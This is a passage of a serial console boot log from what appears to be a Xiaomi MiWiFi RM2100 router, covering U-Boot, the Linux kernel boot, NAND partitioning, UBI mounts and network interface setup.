bit:4, sparesize :64 spare_per_sector=16 Signature matched and data read! load_fact_bbt success 1023 load fact bbt success [mtk_nand] probe successfully! mtd->writesize=2048 mtd->oobsize=64, mtd->erasesize=131072 devinfo.iowidth=8 ..============================================ Ralink UBoot Version: 5.0.0.0 -------------------------------------------- ASIC MT7621A DualCore (MAC to MT7530 Mode) DRAM_CONF_FROM: Auto-Detection DRAM_TYPE: DDR3 DRAM bus: 16 bit Xtal Mode=3 OCP Ratio=1/3 Flash component: NAND Flash Date:Nov 25 2019 Time:01:45:38 ============================================ icache: sets:256, ways:4, linesz:32 ,total:32768 dcache: sets:256, ways:4, linesz:32 ,total:32768 ##### The CPU freq = 880 MHZ #### estimate memory size =128 Mbytes #Reset_MT7530 set LAN/WAN WLLLL Please choose the operation: 1: Load system code to SDRAM via TFTP. 2: Load system code then write to Flash via TFTP. 3: Boot system code via Flash (default). 4: Entr boot command line interface. 7: Load Boot Loader code then write to Flash via Serial. 9: Load Boot Loader code then write to Flash via TFTP. Booting System 1 ..ranand_erase: start:80000, len:20000 ..Done! done 3: System Boot system code via Flash. ## Booting image at bc200000 ... Image Name: MIPS OpenWrt Linux-3.10.14 Image Type: MIPS Linux Kernel Image (lzma compressed) Data Size: 3389967 Bytes = 3.2 MB Load Address: 81001000 Entry Point: 81436040 .................................................... Verifying Checksum ... OK Uncompressing Kernel Image ... OK commandline uart_en=0 factory_mode=0 No initrd ## Transferring control to Linux (at address 81436040) ... ## Giving linux memsize in MB, 128 Starting kernel ... LINUX started... THIS IS ASIC SDK 5.0.S.0 [ 0.000000] Initializing cgroup subsys cpuset [ 0.000000] Initializing cgroup subsys cpu [ 0.000000] Linux version 3.10.14 (jenkins@7f34258e3bac) (gcc version 4.8.5 (crosstool-NG crosstool-ng-1.22.0) ) #1 MiWiFi-RM2100-1.0.11 SMP Mon Nov 25 01:53:32 UTC 2019 [ 0.000000] [ 0.000000] The CPU feqenuce set to 880 MHz [ 0.000000] GCMP present [ 0.000000] CPU0 revision is: 0001992f (MIPS 1004Kc) [ 0.000000] Software DMA cache coherency [ 0.000000] Determined physical RAM map: [ 0.000000] memory: 08000000 @ 00000000 (usable) [ 0.000000] Initrd not found or empty - disabling initrd [ 0.000000] Zone ranges: [ 0.000000] DMA [mem 0x00000000-0x00ffffff] [ 0.000000] Normal [mem 0x01000000-0x07ffffff] [ 0.000000] Movable zone start for each node [ 0.000000] Early memory node ranges [ 0.000000] node 0: [mem 0x00000000-0x07ffffff] [ 0.000000] Detected 3 available secondary CPU(s) [ 0.000000] Primary instruction cache 32kB, 4-way, VIPT, linesize 32 bytes. [ 0.000000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.000000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.000000] PERCPU: Embedded 7 pages/cpu @81843000 s6912 r8192 d13568 u32768 [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32512 [ 0.000000] Kernel command line: console=ttyS1,115200n8 root=/dev/mtdblock5 uart_en=0 factory_mode=0 [ 0.000000] PID hash table entries: 512 (order: -1, 2048 bytes) [ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes) [ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes) [ 0.000000] Writing ErrCtl register=00050000 [ 0.000000] Readback ErrCtl register=00050000 [ 0.000000] allocated 262144 bytes of page_cgroup [ 0.000000] please try 'cgroup_disable=memory' option if you don't want memory cgroups [ 0.000000] Memory: 122132k/131072k available (4357k kernel code, 8940k reserved, 1127k data, 1612k init, 0k highmem) [ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 0.000000] Hierarchical RCU implementation. [ 0.000000] NR_IRQS:128 [ 0.000000] console [ttyS1] enabled [ 0.130000] Calibrating delay loop... 577.53 BogoMIPS (lpj=2887680) [ 0.190000] pid_max: default: 32768 minimum: 301 [ 0.190000] Mount-cache hash table entries: 512 [ 0.200000] Initializing cgroup subsys memory [ 0.200000] launch: starting cpu1 [ 0.210000] launch: cpu1 gone! [ 0.210000] CPU1 revision is: 0001992f (MIPS 1004Kc) [ 0.210000] Primary instruction cache 32kB, 4-way, VIPT, linesize 32 bytes. [ 0.210000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.210000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.270000] Synchronize counters for CPU 1: done. [ 0.280000] launch: starting cpu2 [ 0.280000] launch: cpu2 gone! [ 0.280000] CPU2 revision is: 0001992f (MIPS 1004Kc) [ 0.280000] Primary instruction cache 32kB, 4-way, VIPT, linesize 32 bytes. [ 0.280000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.280000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.340000] Synchronize counters for CPU 2: done. [ 0.350000] launch: starting cpu3 [ 0.350000] launch: cpu3 gone! [ 0.350000] CPU3 revision is: 0001992f (MIPS 1004Kc) [ 0.350000] Primary instruction cache 32kB, 4-way, VIPT, linesize 32 bytes. [ 0.350000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.350000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.410000] Synchronize counters for CPU 3: done. [ 0.420000] Brought up 4 CPUs [ 0.420000] devtmpfs: initialized [ 0.420000] NET: Registered protocol family 16 [ 0.660000] release PCIe RST: RALINK_RSTCTRL = 7000000 [ 0.660000] PCIE PHY initialize [ 0.660000] ***** Xtal 40MHz ***** [ 0.670000] start MT7621 PCIe register access [ 1.120000] RALINK_RSTCTRL = 7000000 [ 1.130000] RALINK_CLKCFG1 = 73ffeff8 [ 1.130000] [ 1.130000] *************** MT7621 PCIe RC mode ************* [ 1.510000] pcie_link status = 0x3 [ 1.510000] RALINK_RSTCTRL= 7000000 [ 1.520000] *** Configure Device number setting of Virtual PCI-PCI bridge *** [ 1.530000] RALINK_PCI_PCICFG_ADDR = 21007f2 -> 21007f2 [ 1.530000] PCIE0 enabled [ 1.530000] PCIE1 enabled [ 1.540000] interrupt enable status: 300000 [ 1.540000] Port 1 N_FTS = 1b105000 [ 1.540000] Port 0 N_FTS = 1b105000 [ 1.550000] config reg done [ 1.550000] init_rt2880pci done [ 1.570000] bio: create slab <bio-0> at 0 [ 1.580000] SCSI subsystem initialized [ 1.580000] PCI host bridge to bus 0000:00 [ 1.590000] pci_bus 0000:00: root bus resource [mem 0x60000000-0x6fffffff] [ 1.600000] pci_bus 0000:00: root bus resource [io 0x1e160000-0x1e16ffff] [ 1.600000] pci_bus 0000:00: No busn resource found for root bus, will use [bus 00-ff] [ 1.610000] pci 0000:00:00.0: bridge configuration invalid ([bus 00-00]), reconfiguring [ 1.620000] pci 0000:00:01.0: bridge configuration invalid ([bus 00-00]), reconfiguring [ 1.630000] pci 0000:00:00.0: BAR 0: can't assign mem (size 0x80000000) [ 1.630000] pci 0000:00:01.0: BAR 0: can't assign mem (size 0x80000000) [ 1.640000] pci 0000:00:00.0: BAR 8: assigned [mem 0x60000000-0x600fffff] [ 1.650000] pci 0000:00:01.0: BAR 8: assigned [mem 0x60100000-0x601fffff] [ 1.650000] pci 0000:00:00.0: BAR 1: assigned [mem 0x60200000-0x6020ffff] [ 1.660000] pci 0000:00:01.0: BAR 1: assigned [mem 0x60210000-0x6021ffff] [ 1.670000] pci 0000:01:00.0: BAR 0: assigned [mem 0x60000000-0x600fffff 64bit] [ 1.680000] pci 0000:00:00.0: PCI bridge to [bus 01] [ 1.680000] pci 0000:00:00.0: bridge window [mem 0x60000000-0x600fffff] [ 1.690000] pci 0000:02:00.0: BAR 0: assigned [mem 0x60100000-0x601fffff] [ 1.690000] pci 0000:00:01.0: PCI bridge to [bus 02] [ 1.700000] pci 0000:00:01.0: bridge window [mem 0x60100000-0x601fffff] [ 1.710000] PCI: Enabling device 0000:00:00.0 (0004 -> 0006) [ 1.710000] PCI: Enabling device 0000:00:01.0 (0004 -> 0006) [ 1.720000] BAR0 at slot 0 = 0 [ 1.720000] bus=0x0, slot = 0x0 [ 1.720000] res[0]->start = 0 [ 1.730000] res[0]->end = 0 [ 1.730000] res[1]->start = 60200000 [ 1.730000] res[1]->end = 6020ffff [ 1.740000] res[2]->start = 0 [ 1.740000] res[2]->end = 0 [ 1.740000] res[3]->start = 0 [ 1.740000] res[3]->end = 0 [ 1.750000] res[4]->start = 0 [ 1.750000] res[4]->end = 0 [ 1.750000] res[5]->start = 0 [ 1.760000] res[5]->end = 0 [ 1.760000] BAR0 at slot 1 = 0 [ 1.760000] bus=0x0, slot = 0x1 [ 1.760000] res[0]->start = 0 [ 1.770000] res[0]->end = 0 [ 1.770000] res[1]->start = 60210000 [ 1.770000] res[1]->end = 6021ffff [ 1.780000] res[2]->start = 0 [ 1.780000] res[2]->end = 0 [ 1.780000] res[3]->start = 0 [ 1.790000] res[3]->end = 0 [ 1.790000] res[4]->start = 0 [ 1.790000] res[4]->end = 0 [ 1.790000] res[5]->start = 0 [ 1.800000] res[5]->end = 0 [ 1.800000] bus=0x1, slot = 0x0, irq=0x4 [ 1.800000] res[0]->start = 60000000 [ 1.810000] res[0]->end = 600fffff [ 1.810000] res[1]->start = 0 [ 1.810000] res[1]->end = 0 [ 1.820000] res[2]->start = 0 [ 1.820000] res[2]->end = 0 [ 1.820000] res[3]->start = 0 [ 1.830000] res[3]->end = 0 [ 1.830000] res[4]->start = 0 [ 1.830000] res[4]->end = 0 [ 1.830000] res[5]->start = 0 [ 1.840000] res[5]->end = 0 [ 1.840000] bus=0x2, slot = 0x1, irq=0x18 [ 1.840000] res[0]->start = 60100000 [ 1.850000] res[0]->end = 601fffff [ 1.850000] res[1]->start = 0 [ 1.850000] res[1]->end = 0 [ 1.860000] res[2]->start = 0 [ 1.860000] res[2]->end = 0 [ 1.860000] res[3]->start = 0 [ 1.870000] res[3]->end = 0 [ 1.870000] res[4]->start = 0 [ 1.870000] res[4]->end = 0 [ 1.870000] res[5]->start = 0 [ 1.880000] res[5]->end = 0 [ 1.880000] Switching to clocksource MIPS [ 1.890000] cfg80211: Calling CRDA to update world regulatory domain [ 1.890000] NET: Registered protocol family 2 [ 1.890000] TCP established hash table entries: 1024 (order: 1, 8192 bytes) [ 1.890000] TCP bind hash table entries: 1024 (order: 1, 8192 bytes) [ 1.890000] TCP: Hash tables configured (established 1024 bind 1024) [ 1.890000] TCP: reno registered [ 1.890000] UDP hash table entries: 256 (order: 1, 8192 bytes) [ 1.890000] UDP-Lite hash table entries: 256 (order: 1, 8192 bytes) [ 1.890000] NET: Registered protocol family 1 [ 2.970000] 4 CPUs re-calibrate udelay(lpj = 2924544) [ 3.000000] squashfs: version 4.0 (2009/01/31) Phillip Lougher [ 3.000000] msgmni has been set to 238 [ 3.010000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253) [ 3.010000] io scheduler noop registered (default) [ 3.020000] MIWIFI panic notifier registeredreg_int_mask=0, INT_MASK= 0 [ 3.030000] HSDMA_init [ 3.030000] [ 3.030000] hsdma_phy_tx_ring0 = 0x00c00000, hsdma_tx_ring0 = 0xa0c00000 [ 3.040000] [ 3.040000] hsdma_phy_rx_ring0 = 0x00c04000, hsdma_rx_ring0 = 0xa0c04000 [ 3.050000] TX_CTX_IDX0 = 0 [ 3.050000] TX_DTX_IDX0 = 0 [ 3.050000] RX_CRX_IDX0 = 3ff [ 3.050000] RX_DRX_IDX0 = 0 [ 3.060000] set_fe_HSDMA_glo_cfg [ 3.060000] HSDMA_GLO_CFG = 465 [ 3.060000] Serial: 8250/16550 driver, 2 ports, IRQ sharing disabled [ 3.070000] serial8250: ttyS0 at MMIO 0x1e000d00 (irq = 27) is a 16550A [ 3.080000] serial8250: ttyS1 at MMIO 0x1e000c00 (irq = 26) is a 16550A [ 3.090000] Ralink gpio driver initialized [ 3.090000] brd: module loaded [ 3.090000] MediaTek Nand driver init, version v2.1 Fix AHB virt2phys error [ 3.100000] Allocate 16 byte aligned buffer: 81720500 [ 3.110000] Enable NFI Clock [ 3.110000] # MTK NAND # : Use HW ECC [ 3.110000] NAND ID [C8 D1 80 95 40, 00809540] [ 3.120000] NAND ECC: Controller [ 3.120000] Device found in MTK table, ID: c8d1, EXT_ID: 809540 [ 3.130000] Support this Device in MTK table! c8d1 [ 3.130000] NAND device: Manufacturer ID: 0xc8, Chip ID: 0xd1 (ESMT NAND 128MiB 3,3V 8-bit), 128MiB, page size: 2048, OOB size: 64 [ 3.140000] [NAND]select ecc bit:4, sparesize :64 spare_per_sector=16 [ 3.150000] Scanning device for bad blocks [ 3.300000] Signature matched and data read! [ 3.300000] load_fact_bbt success 1023 [ 3.300000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.310000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.320000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.330000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.340000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.350000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.360000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.370000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.380000] Creating 14 MTD partitions on "MT7621-NAND": [ 3.390000] 0x000000000000-0x000007f80000 : "ALL" [ 3.400000] 0x000000000000-0x000000080000 : "Bootloader" [ 3.400000] 0x000000080000-0x0000000c0000 : "Config" [ 3.410000] 0x0000000c0000-0x000000100000 : "Bdata" [ 3.410000] 0x000000100000-0x000000140000 : "Factory" [ 3.420000] 0x000000140000-0x000000180000 : "crash" [ 3.430000] 0x000000180000-0x0000001c0000 : "crash_syslog" [ 3.430000] 0x0000001c0000-0x000000200000 : "cfg_bak" [ 3.440000] 0x000000200000-0x000000600000 : "kernel0" [ 3.450000] 0x000000600000-0x000000a00000 : "kernel1" [ 3.450000] 0x000000a00000-0x000002400000 : "rootfs0" [ 3.460000] 0x000002400000-0x000003e00000 : "rootfs1" [ 3.470000] 0x000003e00000-0x000006400000 : "overlay" [ 3.470000] 0x000006400000-0x000007f80000 : "obr" [ 3.480000] [mtk_nand] probe successfully! [ 3.480000] tun: Universal TUN/TAP device driver, 1.6 [ 3.490000] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com> [ 3.490000] PPP generic driver version 2.4.2 [ 3.500000] PPP BSD Compression module registered [ 3.500000] PPP Deflate Compression module registered [ 3.510000] PPP MPPE Compression module registered [ 3.510000] NET: Registered protocol family 24 [ 3.520000] PPTP driver version 0.8.5 [ 3.520000] ps: can't get major 253 [ 3.530000] GMAC1_MAC_ADRH -- : 0x00008c53 [ 3.530000] GMAC1_MAC_ADRL -- : 0xc396111c [ 3.530000] Ralink APSoC Ethernet Driver Initilization. v3.1 1024 rx/tx descriptors allocated, mtu = 1500! [ 3.540000] GMAC1_MAC_ADRH -- : 0x00008c53 [ 3.550000] GMAC1_MAC_ADRL -- : 0xc396111c [ 3.550000] PROC INIT OK! [ 3.560000] softdog: Software Watchdog Timer: 0.08 initialized. soft_noboot=0 soft_margin=60 sec soft_panic=0 (nowayout=0) [ 3.570000] Netfilter messages via NETLINK v0.30. [ 3.570000] nfnl_acct: registering with nfnetlink. [ 3.580000] nf_conntrack version 0.5.0 (1908 buckets, 7632 max) [ 3.580000] gre: GRE over IPv4 demultiplexor driver [ 3.590000] ip_tables: (C) 2000-2006 Netfilter Core Team [ 3.590000] Type=Restricted Cone [ 3.600000] TCP: cubic registered [ 3.600000] NET: Registered protocol family 10 [ 3.610000] ip6_tables: (C) 2000-2006 Netfilter Core Team [ 3.610000] NET: Registered protocol family 17 [ 3.620000] l2tp_core: L2TP core driver, V2.0 [ 3.620000] l2tp_ppp: PPPoL2TP kernel driver, V2.0 [ 3.630000] l2tp_netlink: L2TP netlink interface [ 3.630000] 8021q: 802.1Q VLAN Support v1.8 [ 3.640000] Failed to lock mtd reserved0 [ 3.640000] MIQEF register done [ 3.650000] Freeing unused kernel memory: 1612K (8155d000 - 816f0000) [ 3.660000] csd: CSD deadlock debugging initiated! [ 3.720000] Loading essential drivers... [ 3.720000] Press Ctrl+C to enter RAMFS... [ 4.750000] Bringup the system... [ 4.770000] flag_boot_rootfs=0 mounting /dev/mtd10 [ 4.780000] UBI: attaching mtd10 to ubi0 [ 5.020000] UBI: scanning is finished [ 5.040000] UBI: attached mtd10 (name "rootfs0", size 26 MiB) to ubi0 [ 5.050000] UBI: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes [ 5.050000] UBI: min./max. I/O unit sizes: 2048/2048, sub-page size 2048 [ 5.060000] UBI: VID header offset: 2048 (aligned 2048), data offset: 4096 [ 5.070000] UBI: good PEBs: 208, bad PEBs: 0, corrupted PEBs: 0 [ 5.070000] UBI: user volume: 1, internal volumes: 1, max. volumes count: 128 [ 5.080000] UBI: max/mean erase counter: 0/0, WL threshold: 4096, image sequence number: 1677508948 [ 5.090000] UBI: available PEBs: 80, total reserved PEBs: 128, PEBs reserved for bad PEB handling: 20 [ 5.100000] UBI: background thread "ubi_bgt0d" started, PID 364 UBI device number 0, total 208 LEBs (26411008 bytes, 25.2 MiB), available 80 LEBs (10158080 bytes, 9.7 MiB), LEB size 126976 bytes (124.0 KiB) config core 'version' # ROM ver option ROM '1.0.11' # channel option CHANNEL 'release' # hardware platform R1AC or R1N etc. option HARDWARE 'RM2100' # CFE ver option UBOOT '1.0.2' # Linux Kernel ver option LINUX '0.0.1' # RAMFS ver option RAMFS '0.0.1' # SQUASHFS ver option SQAFS '0.0.1' # ROOTFS ver option ROOTFS '0.0.1' #build time option BUILDTIME 'Mon, 25 Nov 2019 01:44:19 +0000' #build timestamp option BUILDTS '1574646259' #build git tag option GTAG 'commit 4326a2ef8777c744648440273c237ff599384b7e' mount: mounting proc on /proc failed: Device or resource busy mount: mounting sysfs on /sys failed: Device or resource busy [ 6.350000] FFFFFF8C:53:FFFFFFC3:FFFFFF96:11:1C [ 6.350000] Raeth v3.1 (Tasklet,SkbRecycle) [ 6.360000] set CLK_CFG_0 = 0x40a00020!!!!!!!!!!!!!!!!!!1 [ 6.370000] phy_free_head is 0xc08000!!! [ 6.370000] phy_free_tail_phy is 0xc09ff0!!! [ 6.380000] txd_pool=a0c10000 phy_txd_pool=00C10000 [ 6.380000] ei_local->skb_free start address is 0x87e726dc. [ 6.390000] free_txd: 00c10010, ei_local->cpu_ptr: 00C10000 [ 6.390000] POOL HEAD_PTR | DMA_PTR | CPU_PTR [ 6.400000] ----------------+---------+-------- [ 6.400000] 0xa0c10000 0x00C10000 0x00C10000 [ 6.410000] [ 6.410000] phy_qrx_ring = 0x00c0a000, qrx_ring = 0xa0c0a000 [ 6.410000] [ 6.410000] phy_rx_ring0 = 0x00c0c000, rx_ring0 = 0xa0c0c000 [ 6.440000] MT7530 Reset Completed!! [ 6.450000] change HW-TRAP to 0x117c8f [ 6.460000] set LAN/WAN WLLLL [ 6.470000] GMAC1_MAC_ADRH -- : 0x00008c53 [ 6.470000] GMAC1_MAC_ADRL -- : 0xc396111c [ 6.470000] GDMA2_MAC_ADRH -- : 0x00008c53 [ 6.480000] GDMA2_MAC_ADRL -- : 0xc396111b [ 6.480000] eth1: ===> VirtualIF_open [ 6.490000] MT7621 GE2 link rate to 1G [ 6.490000] CDMA_CSG_CFG = 81000000 [ 6.490000] GDMA1_FWD_CFG = 20710000 [ 6.490000] GDMA2_FWD_CFG = 20710000 - preinit - Mon Nov 25 01:53:32 UTC 2019 - regular preinit - /lib/preinit.sh: line 1: pi_indicate_led: not found [ 6.720000] UBI: attaching mtd12 to ubi1 [ 7.070000] UBI: scanning is finished [ 7.090000] UBI: attached mtd12 (name "overlay", size 38 MiB) to ubi1 [ 7.090000] UBI: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes [ 7.100000] UBI: min./max. I/O unit sizes: 2048/2048, sub-page size 2048 [ 7.110000] UBI: VID header offset: 2048 (aligned 2048), data offset: 4096 [ 7.120000] UBI: good PEBs: 304, bad PEBs: 0, corrupted PEBs: 0 [ 7.120000] UBI: user volume: 1, internal volumes: 1, max. volumes count: 128 [ 7.130000] UBI: max/mean erase counter: 3/1, WL threshold: 4096, image sequence number: 663413513 [ 7.140000] UBI: available PEBs: 0, total reserved PEBs: 304, PEBs reserved for bad PEB handling: 20 [ 7.150000] UBI: background thread "ubi_bgt1d" started, PID 573 UBI device number 1, total 304 LEBs (38600704 bytes, 36.8 MiB), available 0 LEBs[ 7.160000] UBIFS: background thread "ubifs_bgt1_0" started, PID 577 (0 bytes), LEB size 126976 bytes (124.0 KiB) [ 7.230000] UBIFS: recovery needed [ 7.420000] UBIFS: recovery completed [ 7.430000] UBIFS: mounted UBI device 1, volume 0, name "data" [ 7.430000] UBIFS: LEB size: 126976 bytes (124 KiB), min./max. I/O unit sizes: 2048 bytes/2048 bytes [ 7.440000] UBIFS: FS size: 34283520 bytes (32 MiB, 270 LEBs), journal size 1777664 bytes (1 MiB, 14 LEBs) [ 7.450000] UBIFS: reserved for root: 1619295 bytes (1581 KiB) [ 7.460000] UBIFS: media format: w4/r0 (latest is w4/r0), UUID 0E99381E-D5F7-4EA3-9D7A-F9056EB96483, small LPT model /lib/preinit.sh: line 1: jffs2_not_mounted: not found - init - [ 8.600000] ra2880stop()...Done [ 8.600000] eth1: ===> VirtualIF_close [ 8.610000] Free TX/RX Ring Memory! init started: BusyBox v1.19.4 (2019-11-25 01:41:48 UTC) Please press Enter to activate this console. rcS S boot: INFO: rc script run time limit to 65 seconds. [ 8.850000] MIWIFI crash syslog initialized [ 9.750000] Mirror/redirect action on [ 9.780000] u32 classifier [ 9.780000] input device check on [ 9.780000] Actions configured [ 9.950000] xt_time: kernel timezone is +0800 [ 10.210000] ip_set: protocol 6 [ 10.280000] ctnetlink v0.93: registering with nfnetlink. [ 10.300000] ipaccount: ifname [lo] event[5] [ 10.310000] ipaccount: ifname [ifb0] event[5] [ 10.310000] ipaccount: ifname [eth0] event[5] [ 10.310000] ipaccount: ifname [eth1] event[5] [ 10.370000] dev_redirect OFF.dev_redirect load success. [ 10.900000] <-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x [ 10.910000] <-- RTMPAllocAdapterBlock, Status=0 [ 10.920000] ipaccount: ifname [wl1] event[16] [ 10.920000] ipaccount: ifname [wl1] event[5] [ 12.200000] [ 12.200000] == pAd = c1481000, size = 4194304, Status=0 == [ 12.210000] RTMPInitPCIeDevice():device_id=0x7615 [ 12.210000] mt_pci_chip_cfg(): HWVer=0x8a10, FWVer=0x8a10, pAd->ChipID=0x7615 [ 12.220000] mt_pci_chip_cfg(): HIF_SYS_REV=0x76150001 [ 12.230000] AP Driver version-5.0.4.0 [ 12.230000] RtmpChipOpsHook(223): Not support for HIF_MT yet! MACVersion=0x0 [ 12.240000] mt7615_init()--> [ 12.240000] Use 1st ePAeLNA default bin. [ 12.240000] Use 0st /etc_ro/wlan/MT7615E_EEPROM1.bin default bin. [ 12.250000] <--mt7615_init() [ 12.250000] <-- RTMPAllocTxRxRingMemory, Status=0 [ 12.260000] ipaccount: ifname [wl0] event[16] [ 12.260000] ipaccount: ifname [wl0] event[5] [ 12.500000] led=6, on=1, off=4000, blinks,=1, reset=1, time=1 [ 12.510000] led=8, on=1, off=4000, blinks,=1, reset=1, time=1 [ 12.530000] led=6, on=4000, off=1, blinks,=1, reset=1, time=1 Mon Nov 25 09:53:38 CST 2019 netconfig[903]: INFO: loading exist /etc/config/network. Mon Nov 25 09:53:38 CST 2019 netconfig[903]: config interface 'loopback' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option ifname 'lo' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option proto 'static' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option ipaddr '127.0.0.1' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option netmask '255.0.0.0' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: config interface 'lan' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option ifname 'eth0' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option type 'bridge' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option proto 'static' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option ipaddr '192.168.31.1' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option netmask '255.255.255.0' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: config interface 'ifb' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option ifname 'ifb0' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: config interface 'ready' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option proto 'static' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option ipaddr '169.254.29.1' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option netmask '255.255.255.0' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: config interface 'wan' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option proto 'dhcp' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: list dns '1.1.1.1' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: list dns '8.8.4.4' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option mtu '1500' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option peerdns '0' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option ifname 'eth1' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: config interface 'openvpn' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option ifname 'tun0' Mon Nov 25 09:53:38 CST 2019 netconfig[903]: option proto 'openvpn' [ 20.890000] ipaccount: ifname [br-lan] event[16] [ 20.900000] ipaccount: ifname [br-lan] event[5] [ 20.900000] ipaccount: ifname [eth0] event[13] [ 20.910000] FFFFFF8C:53:FFFFFFC3:FFFFFF96:11:1C [ 20.910000] Raeth v3.1 (Tasklet,SkbRecycle) [ 20.920000] set CLK_CFG_0 = 0x40a00020!!!!!!!!!!!!!!!!!!1 [ 20.930000] phy_free_head is 0xc2c000!!! [ 20.930000] phy_free_tail_phy is 0xc2dff0!!! [ 20.940000] txd_pool=a0c30000 phy_txd_pool=00C30000 [ 20.940000] ei_local->skb_free start address is 0x87e726dc. [ 20.950000] free_txd: 00c30010, ei_local->cpu_ptr: 00C30000 [ 20.950000] POOL HEAD_PTR | DMA_PTR | CPU_PTR [ 20.960000] ----------------+---------+-------- [ 20.960000] 0xa0c30000 0x00C30000 0x00C30000 [ 20.970000] [ 20.970000] phy_qrx_ring = 0x00c2e000, qrx_ring = 0xa0c2e000 [ 20.980000] [ 20.980000] phy_rx_ring0 = 0x00c38000, rx_ring0 = 0xa0c38000 [ 21.010000] MT7530 Reset Completed!! [ 21.010000] change HW-TRAP to 0x117c8f [ 21.020000] set LAN/WAN WLLLL [ 21.030000] GMAC1_MAC_ADRH -- : 0x00008c53 [ 21.030000] GMAC1_MAC_ADRL -- : 0xc396111c [ 21.040000] eth1: ===> VirtualIF_open [ 21.040000] MT7621 GE2 link rate to 1G [ 21.040000] CDMA_CSG_CFG = 81000000 [ 21.040000] GDMA1_FWD_CFG = 20710000 [ 21.040000] GDMA2_FWD_CFG = 20710000 [ 21.040000] ipaccount: ifname [eth0] event[1] [ 21.040000] ipaccount: ifname [eth0] event[20] [ 21.040000] device eth0 entered promiscuous mode [ 21.040000] ipaccount: ifname [br-lan] event[11] [ 21.040000] ipaccount: ifname [br-lan] event[8] [ 21.040000] ipaccount: ifname [br-lan] event[8] [ 21.040000] ipaccount: ifname [br-lan] event[13] [ 21.040000] br-lan: port 1(eth0) entered forwarding state [ 21.040000] br-lan: port 1(eth0) entered forwarding state [ 21.040000] ipaccount: ifname [br-lan] event[1] [ 21.110000] ipaccount: ifname [ifb0] event[13] [ 21.110000] ipaccount: ifname [ifb0] event[1] [ 21.120000] ipaccount: ifname [lo] event[13] [ 21.120000] ipaccount: ifname [lo] event[1] [ 21.130000] ipaccount: ifname [eth1] event[13] [ 21.130000] eth1: ===> VirtualIF_open [ 21.140000] ipaccount: ifname [eth1] event[1] [ 21.900000] ipaccount: ifname [br-lan] event[4] [ 21.920000] ipaccount: ifname [wl1] event[13] [ 21.920000] pAd->ApBootFlag = TRUE [ 22.120000] efuse_probe: efuse = 10000002 [ 22.290000] tssi_1_target_pwr_g_band = 12 [ 23.040000] br-lan: port 1(eth0) entered forwarding state [ 24.310000] ESW: Link Status Changed - Port0 Link UP,1000Mbps,Full Duplex [ 25.060000] <==== rt28xx_init, Status=0 [ 25.060000] ipaccount: ifname [wl2] event[16] [ 25.070000] ipaccount: ifname [wl2] event[5] [ 25.070000] ipaccount: ifname [wl3] event[16] [ 25.080000] ipaccount: ifname [wl3] event[5] [ 25.080000] ipaccount: ifname [apcli0] event[16] [ 25.090000] ipaccount: ifname [apcli0] event[5] [ 25.090000] pAd->ApBootFlag = FALSE [ 25.100000] ipaccount: ifname [wl1] event[1] [ 26.390000] ipaccount: ifname [wl1] event[20] [ 26.390000] device wl1 entered promiscuous mode [ 26.400000] br-lan: port 2(wl1) entered forwarding state [ 26.400000] 